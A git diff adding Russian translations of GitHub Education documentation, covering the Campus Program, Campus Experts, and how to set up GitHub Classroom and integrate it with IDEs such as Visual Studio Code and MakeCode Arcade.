+versions: + fpt: '*' +ms.openlocfilehash: 4d938dc14229d68571dbcce02de39bdc82f27371 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147573967' +--- +Получите навыки публичного выступления, написания технических статей, руководства сообществом и разработки программного обеспечения в качестве {% data variables.product.prodname_dotcom %} эксперта по кампусным сетям. + +Дополнительные сведения о программах обучения для лидеров сообществе учащихся см. в разделе [Campus Expert в {% data variables.product.prodname_dotcom %}](https://education.github.com/students/experts). diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md new file mode 100644 index 000000000000..ad14052b9df0 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md @@ -0,0 +1,53 @@ +--- +title: Сведения о программе GitHub Campus +intro: '{% data variables.product.prodname_campus_program %} предлагает {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %} бесплатно для школ, которые хотят использовать {% data variables.product.prodname_dotcom %} по максимуму для своего сообщества.' +redirect_from: + - /education/teach-and-learn-with-github-education/about-github-education + - /github/teaching-and-learning-with-github-education/about-github-education + - /articles/about-github-education + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors +versions: + fpt: '*' +shortTitle: GitHub Campus Program +ms.openlocfilehash: d2bf65abaef79aba1ed237278da528caae831256 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147573975' +--- +{% data variables.product.prodname_campus_program %} — это пакет прав доступа премиум-класса к {% data variables.product.prodname_dotcom %} для учебных заведений, которые присваивают степени, выдают дипломы или сертификаты. {% data variables.product.prodname_campus_program %} includes: + +- Отсутствие доступа к {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %} для всех технических и академических отделов +- 50 000 минут {% data variables.product.prodname_actions %} и 50 ГБ хранилища {% data variables.product.prodname_registry %} +- Обучение преподавателей работе с ветвью master в Git и {% data variables.product.prodname_dotcom %} +- Эксклюзивный доступ к новым функциям, GitHub swag для образовательных учреждений и бесплатные средства разработчика от партнеров {% data variables.product.prodname_dotcom %} +- Автоматический доступ к функциям уровня "Премиум" {% data variables.product.prodname_education %}, таким как {% data variables.product.prodname_student_pack %} + +Чтобы узнать, как GitHub используется преподавателями, см. статью [Истории GitHub Education](https://education.github.com/stories). + +## Условия использования {% data variables.product.prodname_campus_program %} + +- Лицензия бесплатна в течение одного года и будет автоматически продлеваться бесплатно каждые 2 года. Вы можете использовать бесплатную лицензию до тех пор, пока продолжаете работать в соответствии с условиями соглашения. Присоединиться может любое учебное заведение, которое соглашается с [условиями программы](https://education.github.com/schools/terms). + +- Обратите внимание, что лицензии предназначены для всего учебного заведения. Внутренние ИТ-отделы, академические исследовательские группы, участники совместной работы, учащиеся и другие некоммерческие отделы имеют право использовать лицензии до тех пор, пока они не получают прибыль от его использования. Исследовательские группы с внешним финансированием, размещенные в университете, не вправе использовать бесплатные лицензии. + +- Вам необходимо предоставить {% data variables.product.prodname_dotcom %} всем техническим и академическим отделам, а логотип вашего учебного заведения будет предоставлен на веб-сайте GitHub Education как партнер {% data variables.product.prodname_campus_program %}. + +- Новые организации в вашей организации будут автоматически добавлены в вашу корпоративную учетную запись. Чтобы добавить организации, которые существовали до того, как ваше учебное заведение присоединилось к {% data variables.product.prodname_campus_program %}, обратитесь в [службу поддержки GitHub Education](https://support.github.com/contact/education). Дополнительные сведения об администрирование предприятия см. в [документации для администраторов предприятия](/admin). Новые организации в вашей организации будут автоматически добавлены в вашу корпоративную учетную запись. Чтобы добавить организации, которые существовали до того, как ваше учебное заведение присоединилось к {% data variables.product.prodname_campus_program %}, обратитесь в службу поддержки GitHub Education. + + +Дополнительные сведения о рекомендациях по соблюдению конфиденциальности {% data variables.product.prodname_dotcom %} см. в статье [Глобальные рекомендации по соблюдению конфиденциальности](/github/site-policy/global-privacy-practices). + +## Соответствие требованиям заявки {% data variables.product.prodname_campus_program %} + +- Зачастую условия программы от имени кампуса подписывает технический директор, директор по ИТ кампуса, декан, руководитель отдела или технический специалист. + +- Если учебное заведение не выдает адреса электронной почты, {% data variables.product.prodname_dotcom %} обращается к администраторам учетных записей с помощью альтернативного варианта, чтобы разрешить вам распространять Student Developer Pack среди ваших учащихся. + +Дополнительные сведения см. на [официальной странице {% data variables.product.prodname_campus_program %}](https://education.github.com/schools). + +Если вы являетесь учащимся или сотрудником факультета, и ваше учебное заведение не имеет партнерских отношений с {% data variables.product.prodname_dotcom %} в качестве учебного заведения {% data variables.product.prodname_campus_program %}, вы все равно можете отдельно подать заявку на получение скидок на использование {% data variables.product.prodname_dotcom %}. Сведения о подаче заявки на Student Developer Pack [см. в форме приложения](https://education.github.com/pack/join). + diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md new file mode 100644 index 000000000000..c190659acfd7 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md @@ -0,0 +1,21 @@ +--- +title: Использование GitHub в учебном заведении +intro: 'Максимизируйте преимущества использования {% data variables.product.prodname_dotcom %} в заведении для учащихся, преподавателей и ИТ-специалистов с помощью {% data variables.product.prodname_education %} и различных программ обучения для учащихся и преподавателей.' +redirect_from: + - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution + - /github/teaching-and-learning-with-github-education/using-github-at-your-educational-institution + - /articles/using-github-at-your-educational-institution +versions: + fpt: '*' +children: + - /about-github-campus-program + - /about-campus-experts +shortTitle: At your institution +ms.openlocfilehash: 9cddbd70740930e47a46c20c9a5c9e1a8bbc0951 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147573951' +--- + diff --git a/translations/ru-RU/content/education/guides.md b/translations/ru-RU/content/education/guides.md new file mode 100644 index 000000000000..0013b792b8f7 --- /dev/null +++ b/translations/ru-RU/content/education/guides.md @@ -0,0 +1,55 @@ +--- +title: Руководства по GitHub Education +intro: 'Эти инструкции по {% data variables.product.prodname_education %} помогут преподавателям и учащимся в работе с {% data variables.product.product_name %} и разработке программного обеспечения.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' +shortTitle: Guides +ms.openlocfilehash: 05d8e1988ab793c2a00da48186b89158e776da1a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147573959' +--- +## Начало работы с {% data variables.product.product_name %} + +Преподаватели, учащиеся и исследователи могут использовать инструменты из {% data variables.product.product_name %}, чтобы расширить возможности учебной программы разработки программного обеспечения и развить навыки совместной работы в реальном мире. + +- [Регистрация для новой учетной записи {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-a-new-github-account) +- [Краткое руководство Git и {% data variables.product.prodname_dotcom %} ](/github/getting-started-with-github/quickstart) +- [Сведения о {% data variables.product.prodname_global_campus %} для учащихся](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students) +- [Заявка на {% data variables.product.prodname_global_campus %} в качестве преподавателя](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher) +- [Заявка на {% data variables.product.prodname_global_campus %} в качестве учащегося](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student) + +## Запуск курса разработки программного обеспечения с помощью {% data variables.product.company_short %} + +Администрирование аудитории, назначение и проверка работы учащихся и обучение нового поколения разработчиков программного обеспечения с помощью {% data variables.product.prodname_classroom %}. + +- [Сведения о {% data variables.product.prodname_global_campus %} для преподавателей](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers) +- [Основные принципы настройки {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) +- [Управление аудиториями](/education/manage-coursework-with-github-classroom/manage-classrooms) +- [Использование назначения начального уровня Git и {% data variables.product.company_short %}](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment) +- [Создание отдельного задания](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) +- [Создание назначения группы](/education/manage-coursework-with-github-classroom/create-a-group-assignment) +- [Создание назначения на основе репозитория шаблонов](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) +- [Передача обратной связи с помощью запросов на вытягивание](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) +- [Использование автоматической проверки](/education/manage-coursework-with-github-classroom/use-autograding) + +## Обучение разработке программного обеспечения + +Включите {% data variables.product.prodname_dotcom %} в свою программу образования и используйте те же средства, что и профессионалы. + +- [Ресурсы обучения Git и {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/git-and-github-learning-resources) +- [{% data variables.product.prodname_global_campus %} для учащихся](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students) +- [Попробуйте {% data variables.product.prodname_desktop %}](/desktop) +- [Попробуйте {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) + +## Участие в работе сообщества + +Участвуйте в сообществе, получите обучение от {% data variables.product.company_short %}, а также обучайтесь новым навыком или обучайте им. + +- [{% data variables.product.prodname_education_community %}]({% data variables.product.prodname_education_forum_link %}) +- [Сведения о {% data variables.product.prodname_global_campus %} для учащихся](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students) +- [Сведения об экспертах по кампусным сетям](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-experts) +- [Участие в работе с помощью GitHub Community Exchange](/education/contribute-with-github-community-exchange) diff --git a/translations/ru-RU/content/education/index.md b/translations/ru-RU/content/education/index.md new file mode 100644 index 000000000000..a92c5de25d1a --- /dev/null +++ b/translations/ru-RU/content/education/index.md @@ -0,0 +1,40 @@ +--- +title: Документация GitHub Education +shortTitle: Education +intro: '{% data variables.product.prodname_education %} помогает преподавать или изучать разработку программного обеспечения с помощью средств и поддержки платформы и сообщества {% data variables.product.company_short %}.' +introLinks: + quickstart: /education/quickstart +featuredLinks: + guides: + - education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution + guideCards: + - /github/getting-started-with-github/signing-up-for-a-new-github-account + - /github/getting-started-with-github/git-and-github-learning-resources + - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom + popular: + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers + - /desktop + - /github/getting-started-with-github/github-cli + - /education/manage-coursework-with-github-classroom/teach-with-github-classroom +changelog: + label: education +layout: product-landing +versions: + fpt: '*' +children: + - /quickstart + - /explore-the-benefits-of-teaching-and-learning-with-github-education + - /contribute-with-github-community-exchange + - /manage-coursework-with-github-classroom + - /guides +ms.openlocfilehash: 7aa1b7c97f34dd2224abece6c85289316e7e06f9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147573943' +--- + diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom.md new file mode 100644 index 000000000000..2fff6e091eb2 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,39 @@ +--- +title: Основы настройки GitHub Classroom +shortTitle: '{% data variables.product.prodname_classroom %} basics' +intro: 'Узнайте, как настроить класс, управлять назначениями и настраивать автоматизацию для экономии времени.' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom +ms.openlocfilehash: 3303f6ba576904ef8bafca57249b15841da7b329 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145952280' +--- +## Видеоролики о {% data variables.product.prodname_classroom %} + +Просмотрите серию кратких видеороликов о конфигурации и использовании {% data variables.product.prodname_classroom %}. Чтобы просмотреть все видео в рамках непрерывного списка воспроизведения, ознакомьтесь со статьей [{% data variables.product.prodname_classroom %} Руководство по началу работы](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) в YouTube. + +Дополнительные сведения о терминологии для {% data variables.product.prodname_classroom %} см. в [Глоссарии](/education/manage-coursework-with-github-classroom/glossary). + +1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Начало работы</a> {% octicon "link-external" aria-label="The external link icon" %} +2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Добавление списка учащихся</a> {% octicon "link-external" aria-label="The external link icon" %} +3. Создание назначений + - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Создание назначения с помощью репозитория {% data variables.product.prodname_dotcom %}</a> {% octicon "link-external" aria-label="The external link icon" %} + - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Создание назначения с помощью Microsoft MakeCode в качестве веб-интегрированной среды разработки</a> {% octicon "link-external" aria-label="The external link icon" %} +4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">Как учащиеся завершают назначения</a> {% octicon "link-external" aria-label="The external link icon" %} +5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">Как преподаватели проверяют назначения</a> {% octicon "link-external" aria-label="The external link icon" %} +6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Создание назначений группы</a> {% octicon "link-external" aria-label="The external link icon" %} +7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Следующие шаги в начале работы</a> {% octicon "link-external" aria-label="The external link icon" %} +8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Панель элементов преподавателя</a> {% octicon "link-external" aria-label="The external link icon" %} + +## Дальнейшие действия + +Дополнительные сведения о преподавании с помощью {% data variables.product.prodname_classroom %} см. в разделе [Преподавание с помощью {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom). + +## Дополнительные материалы + +- [Изучите преимущества обучения и преподавания с помощью {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md new file mode 100644 index 000000000000..7dbe7adf3d1d --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md @@ -0,0 +1,53 @@ +--- +title: Glossary +intro: 'You can review explanations of terminology for {% data variables.product.prodname_classroom %}.' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/glossary +--- +## assignment + +An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." + +--- + +## classroom + +A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." + +--- + +## {% data variables.product.prodname_classroom %} + +{% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. + +--- + +## group assignment + +{% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." + +--- + +## identifier + +An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. + +--- + +## individual assignment + +{% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." + +--- + +## roster + +A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)." + +--- + +## Further reading + +- "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md new file mode 100644 index 000000000000..de85de285826 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/index.md @@ -0,0 +1,17 @@ +--- +title: Начало работы с GitHub Classroom +shortTitle: Get started +intro: 'Узнайте, как настроить и использовать {% data variables.product.prodname_classroom %} для администрирования курса.' +versions: + fpt: '*' +children: + - /basics-of-setting-up-github-classroom + - /glossary +ms.openlocfilehash: 5c77365e1d5847687d1e0ae6b5eb1bc59413cbbc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119579' +--- + diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/index.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/index.md new file mode 100644 index 000000000000..fa2a84c51b85 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,19 @@ +--- +title: Управление курсовой работой с помощью GitHub Classroom +shortTitle: '{% data variables.product.prodname_classroom %}' +intro: 'С помощью {% data variables.product.prodname_classroom %} можно использовать {% data variables.product.product_name %} для администрирования курса разработки программного обеспечения или участия в нем.' +versions: + fpt: '*' +children: + - /get-started-with-github-classroom + - /teach-with-github-classroom + - /integrate-github-classroom-with-an-ide + - /learn-with-github-classroom +ms.openlocfilehash: 013427d323f2908743bc6ed2878f08ae9f2d7f02 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112227' +--- + diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md new file mode 100644 index 000000000000..4272e08f4906 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ +--- +title: About using MakeCode Arcade with GitHub Classroom +shortTitle: About using MakeCode Arcade +intro: 'You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}.' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/student-experience-makecode + - /education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom +--- +## About MakeCode Arcade + +MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)." + +{% data reusables.classroom.readme-contains-button-for-online-ide %} + +The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. + +For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. + +MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. + +## About submission of assignments with MakeCode Arcade + +By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.location.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.location.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen. + +![MakeCode Arcade version control functionality](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) + +## Further reading + +- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md new file mode 100644 index 000000000000..0de62b0958fd --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md @@ -0,0 +1,50 @@ +--- +title: Сведения об использовании Visual Studio Code с GitHub Classroom +shortTitle: About using Visual Studio Code +intro: 'Вы можете настроить {% data variables.product.prodname_vscode %} как предпочтительный редактор для назначений в {% data variables.product.prodname_classroom %}.' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/about-using-vs-code-with-github-classroom +ms.openlocfilehash: fe0e8e0c3194f9c97cc30c80dcec00256824e6ab +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145148747' +--- +## Сведения о {% data variables.product.prodname_vscode %} + +{% data variables.product.prodname_vscode %} — это простой, но мощный редактор исходного кода, который запускается на рабочем столе и доступен для Windows, macOS и Linux. С помощью [расширения GitHub Classroom для {% data variables.product.prodname_vscode_shortname %}](https://aka.ms/classroom-vscode-ext) учащиеся могут легко просматривать, изменять, отправлять, тестировать свои назначения Classroom и совместно работать над ними. Дополнительные сведения о средах IDE и {% data variables.product.prodname_classroom %} см. в разделе [Интеграция {% data variables.product.prodname_classroom %} со средой IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide). + +### Редактор, выбранный учащимся +Интеграция GitHub Classroom с {% data variables.product.prodname_vscode_shortname %} предоставляет учащимся пакет расширений, который содержит: + +1. [Расширение GitHub Classroom](https://aka.ms/classroom-vscode-ext) с пользовательскими абстракциями, которые упрощают для учащихся начало работы. +2. [Расширение Visual Studio Live Share](https://marketplace.visualstudio.com/items?itemName=MS-vsliveshare.vsliveshare-pack), интегрируемое в представление учащихся, что позволяет легко взаимодействовать с помощниками по обучению и одноклассниками для поддержки и совместной работы. +3. [Расширение GitHub Pull Request](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github), которое позволяет учащимся просматривать обратную связь от преподавателей в редакторе. + +### Практическое руководство по запуску назначения в {% data variables.product.prodname_vscode_shortname %} +При создании назначения можно добавить {% data variables.product.prodname_vscode_shortname %} в качестве предпочтительного редактора для назначения. Дополнительные сведения см. в разделе [Интеграция {% data variables.product.prodname_classroom %} с интегрированной средой разработки](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide). + +Это будет включать индикатор событий "Открыть в {% data variables.product.prodname_vscode_shortname %}" во всех репозиториях учащихся. Этот индикатор событий отвечает за установку {% data variables.product.prodname_vscode_shortname %}, пакета расширения Classroom и открытие активного назначения одним щелчком мыши. + +{% note %} + +**Примечание.** Учащийся должен установить Git на своем компьютере, чтобы отправить код из {% data variables.product.prodname_vscode_shortname %} в свой репозиторий. Это не устанавливается автоматически при нажатии **Открыть в {% data variables.product.prodname_vscode_shortname %}** . Учащийся может скачать Git [отсюда](https://git-scm.com/downloads). + +{% endnote %} + +### Использование пакета расширений GitHub Classroom +Расширение GitHub Classroom содержит два основных компонента: представление "Аудитории" и представление "Активное назначение". + +Когда учащийся запускает расширение впервые, он автоматически переходит на вкладку обозревателя в {% data variables.product.prodname_vscode_shortname %}, где можно увидеть представление "Активное назначение" вместе с деревом представлений файлов в репозитории. + +![Представление "Активные назначения" в GitHub Classroom](/assets/images/help/classroom/vs-code-active-assignment.png) + +Учащийся может передать свои фиксации в последнюю версию удаленного приложения, нажав на кнопку **Изменения синхронизации**, отображаемую при наведении указателя мыши на строку "Активное назначение". Это абстрагирует управление версиями с помощью Git, позволяя инструкторам преподавать основы Git в собственном темпе. +Синхронизация изменений также активирует "Тесты", которые выполняются, если преподаватель настроил автоматическую проверку назначения. + +Узел "Группа" в разделе "Активное назначение" будет отображать участников группы, если назначение является групповым проектом. В нем также будут отображаться администраторы репозитория, которые могут помочь, если у учащегося возникли сложности. Для совместной работы над проектом учащийся может начать сеанс Live Share с любым пользователем в узле группы; при этом он сразу предоставит общий доступ ко всему контексту репозитория. Дополнительные сведения о Live Share и совместной работе с этим расширением см. [здесь](https://docs.microsoft.com/en-us/visualstudio/liveshare/). + +После выполнения назначения учащийся также может перейти к другим назначениям и аудиториям. Их можно найти на вкладке GitHub. diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md new file mode 100644 index 000000000000..b09f5fe42be9 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md @@ -0,0 +1,21 @@ +--- +title: Интеграция GitHub Classroom с интегрированной средой разработки +shortTitle: Integrate with an IDE +intro: 'Вы можете помочь учащимся писать, тестировать и отлаживать код, предварительно настроив среду разработки для репозиториев заданий в {% data variables.product.prodname_classroom %}.' +versions: + fpt: '*' +children: + - /integrate-github-classroom-with-an-ide + - /using-github-codespaces-with-github-classroom + - /about-using-visual-studio-code-with-github-classroom + - /about-using-makecode-arcade-with-github-classroom + - /replit-with-github-classroom + - /run-student-code-in-an-ide +ms.openlocfilehash: 3ef805653af1474eeab0cbe69d0fafa994f2433f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119568' +--- + diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md new file mode 100644 index 000000000000..9815f648c60b --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,45 @@ +--- +title: Integrate GitHub Classroom with an IDE +shortTitle: Integrate with an IDE +intro: 'You can preconfigure a supported integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}.' +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}' +redirect_from: + - /education/manage-coursework-with-github-classroom/online-ide-integrations + - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide + - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-online-ide +--- +## About integration with an IDE + +{% data reusables.classroom.about-online-ides %} + +After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary. + +## Supported IDEs + +{% data variables.product.prodname_classroom %} supports the following IDEs. You can learn more about the student experience for each IDE. + +| IDE | More information | +| :- | :- | +| {% data variables.product.prodname_github_codespaces %} | 